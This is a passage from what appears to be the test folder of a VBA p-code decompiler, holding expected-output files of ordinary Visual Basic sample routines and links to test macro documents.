166 | 'Create a Random object to seed our starting value
167 | Dim randomizer As New Random()
168 | 'set our variable
169 | Dim count As Integer = randomizer.Next(0, 5)
170 |
171 | Dim message As String
172 |
173 | 'If count is zero, output will be no items
174 | If count = 0 Then
175 | message = "There are no items."
176 | 'If count is 1, output will be "There is 1 item.".
177 | ElseIf count = 1 Then
178 | message = "There is 1 item."
179 | 'If count is greater than 1, output will be "There are {count} items.", where {count} is replaced by the value of count.
180 | Else
181 | message = $"There are {count} items."
182 | End If
183 |
184 | Console.WriteLine(message)
185 | End Sub
186 | End Module
187 |
188 |
189 |
190 | Module Nested
191 | Public Sub Main()
192 | ' Run the function as part of the WriteLine output.
193 | Console.WriteLine("Time Check is " & CheckIfTime() & ".")
194 | End Sub
195 |
196 | Private Function CheckIfTime() As Boolean
197 | ' Determine the current day of week and hour of day.
198 | Dim dayW As DayOfWeek = DateTime.Now.DayOfWeek
199 | Dim hour As Integer = DateTime.Now.Hour
200 |
201 | ' Return True if Wednesday from 2 to 3:59 P.M.,
202 | ' or if Thursday from noon to 12:59 P.M.
203 | If dayW = DayOfWeek.Wednesday Then
204 | If hour = 14 Or hour = 15 Then
205 | Return True
206 | Else
207 | Return False
208 | End If
209 | ElseIf dayW = DayOfWeek.Thursday Then
210 | If hour = 12 Then
211 | Return True
212 | Else
213 | Return False
214 | End If
215 | Else
216 | Return False
217 | End If
218 | End Function
219 | End Module
220 |
221 | Module SingleLine
222 | Public Sub Main()
223 |
224 | 'Create a Random object to seed our starting values
225 | Dim randomizer As New Random()
226 |
227 | Dim A As Integer = randomizer.Next(10, 20)
228 | Dim B As Integer = randomizer.Next(0, 20)
229 | Dim C As Integer = randomizer.Next(0, 5)
230 |
231 | 'Let's display the initial values for comparison
232 | Console.WriteLine($"A value before If: {A}")
233 | Console.WriteLine($"B value before If: {B}")
234 | Console.WriteLine($"C value before If: {C}")
235 |
236 | ' If A > 10, execute the three colon-separated statements in the order
237 | ' that they appear
238 | If A > 10 Then A = A + 1 : B = B + A : C = C + B
239 |
240 | 'If the condition is true, the values will be different
241 | Console.WriteLine($"A value after If: {A}")
242 | Console.WriteLine($"B value after If: {B}")
243 | Console.WriteLine($"C value after If: {C}")
244 |
245 | End Sub
246 | End Module
247 |
248 |
249 | Private Sub AddCustomer()
250 | Dim theCustomer As New Customer
251 |
252 | With theCustomer
253 | .Name = "Coho Vineyard"
254 | .URL = "http://www.cohovineyard.com/"
255 | .City = "Redmond"
256 | End With
257 |
258 | With theCustomer.Comments
259 | .Add("First comment.")
260 | .Add("Second comment.")
261 | End With
262 | End Sub
263 |
264 | Public Class Customer
265 | Public Property Name As String
266 | Public Property City As String
267 | Public Property URL As String
268 |
269 | Public Property Comments As New List(Of String)
270 | End Class
271 |
272 |
273 | Dim theWindow As New EntryWindow
274 |
275 | With theWindow
276 | With .InfoLabel
277 | .Content = "This is a message."
278 | .Foreground = Brushes.DarkSeaGreen
279 | .Background = Brushes.LightYellow
280 | End With
281 |
282 | .Title = "The Form Title"
283 | .Show()
284 | End With
285 |
286 |
287 | Dim Msg
288 | Err.Clear
289 | On Error Resume Next
290 | Err.Raise 6 ' Generate "Overflow" error.
291 | If Err.Number <> 0 Then
292 | Msg = "Press F1 or HELP to see " & Err.HelpFile & " topic for" & _
293 | " the following HelpContext: " & Err. HelpContext
294 | MsgBox Msg, , "Error: " & Err.Description, Err.HelpFile, _
295 | Err.HelpContext
296 | End If
297 |
298 | Private Sub PrintError()
299 | Dim ErrorNumber As Long, count As Long
300 | count = 1: ErrorNumber = 1
301 | On Error GoTo EOSb
302 | Do While count < 100
303 | Do While Error(ErrorNumber) = "Application-defined or object-defined error": ErrorNumber = ErrorNumber + 1: Loop
304 | Debug.Print count & "-Error(" & ErrorNumber & "): " & Error(ErrorNumber)
305 | ErrorNumber = ErrorNumber + 1
306 | count = count + 1
307 | Loop
308 | EOSb: Debug.Print ErrorNumber
309 | End Sub
310 |
311 |
312 | Dim lst As New List(Of String) _
313 | From {"abc", "def", "ghi"}
314 |
315 | ' Iterate through the list.
316 | For Each item As String In lst
317 | Debug.Write(item & " ")
318 | Next
319 | Debug.WriteLine("")
320 |
321 | Dim numberSeq() As Integer =
322 | {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
323 |
324 | For Each number As Integer In numberSeq
325 | ' If number is between 5 and 7, continue
326 | ' with the next iteration.
327 | If number >= 5 And number <= 8 Then
328 | Continue For
329 | End If
330 |
331 | ' Display the number.
332 | Debug.Write(number.ToString & " ")
333 |
334 | ' If number is 10, exit the loop.
335 | If number = 10 Then
336 | Exit For
337 | End If
338 | Next
339 | Debug.WriteLine("")
340 | ' Output: 1 2 3 4 9 10
341 |
342 |
343 | Public Function GetAgePhrase(ByVal age As Integer) As String
344 | If age > 60 Then Return "Senior"
345 | If age > 40 Then Return "Middle-aged"
346 | If age > 20 Then Return "Adult"
347 | If age > 12 Then Return "Teen-aged"
348 | If age > 4 Then Return "School-aged"
349 | If age > 1 Then Return "Toddler"
350 | Return "Infant"
351 | End Function
352 |
353 |
354 | Dim threeDimArray(9, 9, 9), twoDimArray(9, 9) As Integer
355 | Erase threeDimArray, twoDimArray
356 | ReDim threeDimArray(4, 4, 9)
357 |
358 | On Error Resume Next ' Defer error handling.
359 | Error 11 ' Simulate the "Division by zero" error.
360 |
361 |
362 | Delegate Function MathOperator(
363 | ByVal x As Double,
364 | ByVal y As Double
365 | ) As Double
366 |
367 | Function AddNumbers(
368 | ByVal x As Double,
369 | ByVal y As Double
370 | ) As Double
371 | Return x + y
372 | End Function
373 |
374 | Function SubtractNumbers(
375 | ByVal x As Double,
376 | ByVal y As Double
377 | ) As Double
378 | Return x - y
379 | End Function
380 |
381 | Sub DelegateTest(
382 | ByVal x As Double,
383 | ByVal op As MathOperator,
384 | ByVal y As Double
385 | )
386 | Dim ret As Double
387 | ret = op.Invoke(x, y) ' Call the method.
388 | MsgBox(ret)
389 | End Sub
390 |
391 | Protected Sub Test()
392 | DelegateTest(5, AddressOf AddNumbers, 3)
393 | DelegateTest(9, AddressOf SubtractNumbers, 3)
394 | End Sub
395 |
396 |
397 |
398 |
399 | Public Function GetFolders() As String
400 | ' Create a new StringBuilder, which is used
401 | ' to efficiently build strings.
402 | Dim sb As New System.Text.StringBuilder
403 |
404 | Dim dInfo As New System.IO.DirectoryInfo("c:\")
405 |
406 | ' Obtain an array of directories, and iterate through
407 | ' the array.
408 | For Each dir As System.IO.DirectoryInfo In dInfo.GetDirectories()
409 | sb.Append(dir.Name)
410 | sb.Append(Microsoft.VisualBasic.ControlChars.CrLf)
411 | Next
412 |
413 | Return sb.ToString
414 | End Function
415 |
416 |
417 |
418 | Imports systxt = System.Text
419 | Imports sysio = System.IO
420 | Imports ch = Microsoft.VisualBasic.ControlChars
421 |
422 | Public Function GetFolders() As String
423 | Dim sb As New systxt.StringBuilder
424 |
425 | Dim dInfo As New sysio.DirectoryInfo("c:\")
426 | For Each dir As sysio.DirectoryInfo In dInfo.GetDirectories()
427 | sb.Append(dir.Name)
428 | sb.Append(ch.CrLf)
429 | Next
430 |
431 | Return sb.ToString
432 | End Function
433 |
434 |
435 | Class simpleMessageList
436 | Public messagesList() As String = New String(50) {}
437 | Public messagesLast As Integer = -1
438 | Private messagesLock As New Object
439 | Public Sub addAnotherMessage(ByVal newMessage As String)
440 | SyncLock messagesLock
441 | messagesLast += 1
442 | If messagesLast < messagesList.Length Then
443 | messagesList(messagesLast) = newMessage
444 | End If
445 | End SyncLock
446 | End Sub
447 | End Class
448 |
449 |
450 | Public Class doubleMessageList
451 | Inherits simpleMessageList
452 | ' Add code to override, overload, or extend members
453 | ' inherited from the base class.
454 | ' Add new variable, property, procedure, and event declarations.
455 | Public Sub Coucou()
456 | X=3
457 | End Sub
458 | End Class
459 |
460 | Public Sub RunSample()
461 | Try
462 | CreateException()
463 | Catch ex As System.IO.IOException
464 | ' Code that reacts to IOException.
465 | Catch ex As NullReferenceException
466 | MessageBox.Show("NullReferenceException: " & ex.Message)
467 | MessageBox.Show("Stack Trace: " & vbCrLf & ex.StackTrace)
468 | Catch ex As Exception
469 | ' Code that reacts to any other exception.
470 | End Try
471 | End Sub
472 |
473 | Private Sub CreateException()
474 | ' This code throws a NullReferenceException.
475 | Dim obj = Nothing
476 | Dim prop = obj.Name
477 |
478 | ' This code also throws a NullReferenceException.
479 | Throw New NullReferenceException("Something happened.")
480 | End Sub
481 |
482 | Public Sub TryExample()
483 | ' Declare variables.
484 | Dim x As Integer = 5
485 | Dim y As Integer = 0
486 |
487 | ' Set up structured error handling.
488 | Try
489 | ' Cause a "Divide by Zero" exception.
490 | x = x \ y
491 |
492 | ' This statement does not execute because program
493 | ' control passes to the Catch block when the
494 | ' exception occurs.
495 | MessageBox.Show("end of Try block")
496 | Catch ex As Exception
497 | ' Show the exception's message.
498 | MessageBox.Show(ex.Message)
499 |
500 | ' Show the stack trace, which is a list of methods
501 | ' that are currently executing.
502 | MessageBox.Show("Stack Trace: " & vbCrLf & ex.StackTrace)
503 | Finally
504 | ' This line executes whether or not the exception occurs.
505 | MessageBox.Show("in Finally block")
506 | End Try
507 | End Sub
508 |
509 | Private Sub WriteFile()
510 | Using writer As System.IO.TextWriter = System.IO.File.CreateText("log.txt")
511 | writer.WriteLine("This is line one.")
512 | writer.WriteLine("This is line two.")
513 | End Using
514 | End Sub
515 |
516 | Private Sub ReadFile()
517 | Using reader As System.IO.TextReader = System.IO.File.OpenText("log.txt")
518 | Dim line As String
519 |
520 | line = reader.ReadLine()
521 | Do Until line Is Nothing
522 | Console.WriteLine(line)
523 | line = reader.ReadLine()
524 | Loop
525 | End Using
526 | End Sub
527 |
528 | Sub Main()
529 | Dim theGalaxies As New Galaxies
530 | For Each theGalaxy In theGalaxies.NextGalaxy
531 | With theGalaxy
532 | Console.WriteLine(.Name & " " & .MegaLightYears)
533 | End With
534 | Next
535 | Console.ReadKey()
536 | End Sub
537 |
538 | Public Class Galaxies
539 | Public ReadOnly Iterator Property NextGalaxy _
540 | As System.Collections.Generic.IEnumerable(Of Galaxy)
541 | Get
542 | Yield New Galaxy With {.Name = "Tadpole", .MegaLightYears = 400}
543 | Yield New Galaxy With {.Name = "Pinwheel", .MegaLightYears = 25}
544 | Yield New Galaxy With {.Name = "Milky Way", .MegaLightYears = 0}
545 | Yield New Galaxy With {.Name = "Andromeda", .MegaLightYears = 3}
546 | End Get
547 | End Property
548 | End Class
549 |
550 | Public Class Galaxy
551 | Public Property Name As String
552 | Public Property MegaLightYears As Integer
553 | End Class
554 |
555 | Public Interface IDemo
556 | Sub DoSomething()
557 | End Interface
558 | Public Class implementIDemo
559 | Implements IDemo
560 | Private Sub DoSomething() Implements IDemo.DoSomething
561 | End Sub
562 | End Class
563 | Dim varAsInterface As IDemo = New implementIDemo()
564 | Dim varAsClass As implementIDemo = New implementIDemo()
565 |
566 |
--------------------------------------------------------------------------------
/tests/output2.txt:
--------------------------------------------------------------------------------
1 | sub sub1()
2 | Dim MyTime, MyDate, MyStr
3 | MyTime = #17:04:23#
4 | MyDate = #January 27, 1993#
5 |
6 | ' Returns current system time in the system-defined long time format.
7 | MyStr = Format(Time, "Long Time")
8 |
9 | ' Returns current system date in the system-defined long date format.
10 | MyStr = Format(Date, "Long Date")
11 |
12 | MyStr = Format(MyTime, "h:m:s") ' Returns "17:4:23".
13 | MyStr = Format(MyTime, "hh:mm:ss am/pm") ' Returns "05:04:23 pm".
14 | MyStr = Format(MyTime, "hh:mm:ss AM/PM") ' Returns "05:04:23 PM".
15 | MyStr = Format(MyDate, "dddd, mmm d yyyy") ' Returns "Wednesday, Jan 27 1993".
16 | ' If format is not supplied, a string is returned.
17 | MyStr = Format(23) ' Returns "23".
18 |
19 | ' User-defined formats.
20 | MyStr = Format(5459.4, "##,##0.00") ' Returns "5,459.40".
21 | MyStr = Format(334.9, "###0.00") ' Returns "334.90".
22 | MyStr = Format(5, "0.00%") ' Returns "500.00%".
23 | MyStr = Format("HELLO", "<") ' Returns "hello".
24 | MyStr = Format("This is it", ">") ' Returns "THIS IS IT".
25 |
26 | end sub
27 |
28 | sub sub2()
29 | Dim MyString, MyNumber
30 | Open "TESTFILE" For Input As #1 ' Open file for input.
31 | Do While Not EOF(1) ' Loop until end of file.
32 | Input #1, MyString, MyNumber ' Read data into two variables.
33 | Debug.Print MyString, MyNumber ' Print data to the Immediate window.
34 | Loop
35 | Close #1 ' Close file.
36 | end sub
37 |
38 | sub sub3()
39 | Dim MyStr1, MyStr2, MyComp
40 | MyStr1 = "ABCD": MyStr2 = "abcd" ' Define variables.
41 | MyComp = StrComp(MyStr1, MyStr2, 1) ' Returns 0.
42 | MyComp = StrComp(MyStr1, MyStr2, 0) ' Returns -1.
43 | MyComp = StrComp(MyStr2, MyStr1) ' Returns 1.
44 | end sub
45 |
46 | Function MidMbcs(ByVal str as String, start, length)
47 | MidMbcs = StrConv(MidB(StrConv(str, vbFromUnicode), start, length), vbUnicode)
48 | End Function
49 |
50 | sub sub4()
51 | Dim MyString
52 | MyString = "AbCdEfG"
53 | ' Where "A", "C", "E", and "G" are DBCS and "b", "d",
54 | ' and "f" are SBCS.
55 | MyNewString = Mid(MyString, 3, 4)
56 | ' Returns "CdEf"
57 | MyNewString = MidB(MyString, 3, 4)
58 | ' Returns "bC"
59 | MyNewString = MidMbcs(MyString, 3, 4)
60 | ' Returns "bCd"
61 | end sub
62 |
63 | sub sub5()
64 | Dim MyIndex, FileNumber
65 | For MyIndex = 1 To 5 ' Loop 5 times.
66 | FileNumber = FreeFile ' Get unused file
67 | ' number.
68 | Open "TEST" & MyIndex For Output As #FileNumber ' Create file name.
69 | Write #FileNumber, "This is a sample." ' Output text.
70 | Close #FileNumber ' Close file.
71 | Next MyIndex
72 | end sub
73 |
74 | Sub ChangeFormColor(FormName As Form)
75 | FormName.BackColor = RGB(Rnd * 256, Rnd * 256, Rnd * 256)
76 | End Sub
77 |
78 | sub sub6()
79 | ChangeFormColor Me
80 | end sub
81 |
82 |
83 |
--------------------------------------------------------------------------------
/tests/see_other/tests4.docm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/see_other/tests4.docm
--------------------------------------------------------------------------------
/tests/see_other/tests4_EvilClippy.docm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/see_other/tests4_EvilClippy.docm
--------------------------------------------------------------------------------
/tests/tests2.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests2.xlsm
--------------------------------------------------------------------------------
/tests/tests2_EvilClippy.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests2_EvilClippy.xlsm
--------------------------------------------------------------------------------
/tests/tests3.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests3.xlsm
--------------------------------------------------------------------------------
/tests/tests3_EvilClippy.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests3_EvilClippy.xlsm
--------------------------------------------------------------------------------
/tests/tests4.docm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests4.docm
--------------------------------------------------------------------------------
/tests/tests4_EvilClippy.docm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests4_EvilClippy.docm
--------------------------------------------------------------------------------